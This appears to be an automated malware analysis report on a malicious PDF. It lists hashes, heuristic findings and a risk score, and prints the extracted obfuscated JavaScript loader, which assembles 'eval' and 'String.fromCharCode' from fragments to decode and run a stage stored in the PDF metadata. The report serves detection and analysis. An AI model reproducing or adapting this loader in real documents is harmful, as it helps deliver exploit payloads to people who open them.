Malicious PDF — malware analysis report

Static analysis result for SHA-256 39bbf690dcf81c3f…

MALICIOUS

PDF

44.7 KB Authoring application: substr First seen: 2013-08-02
MD5: fb1bf08a87ab6c10260b82f588601709 SHA-1: 7072639465d250220e4eb1d60ab2e217b0ae0c4d SHA-256: 39bbf690dcf81c3f1f02d8aa6f2e5c7d78c6dfe638f65ba28f9f1aca0386d42f
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF contains embedded JavaScript, flagged by multiple heuristics and a high-confidence ML classifier. The JavaScript stream is likely designed to execute malicious code, potentially downloading a second-stage payload or performing other harmful actions. The document body 'substr split test' provides no contextual information about the intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB03B 394 bytes
SHA-256: 080424b6804fee5250284d0bda0558db7dd6f48b256edc57de70b4bbc46e3949
Preview script
First 1,000 lines of the extracted script
skm='';
v=producer;
qwe = v[v];
t='le';
b='v';
a=["e","a","n","b","w",b,"o"];
s=a[0]+b+a[1]+t[0];
e=(t,qwe)()[s];
jgk=e('tit'+t);
q=jgk[v](a.length-6,a.length+2);
wlffs=e(v[0].toUpperCase()+v[4]+'ring.fr'+a[6]+q);
q=jgk[v](t.length+12)[e(v[0]+'ubject')]('c');
k=q.length;
i=0;
while(i!=k){
	lei = 1*(q[i]) - (-1)*(q[i+t.length+(-1)]);
	skm += wlffs(lei);
	i+=2;
}
e(skm);

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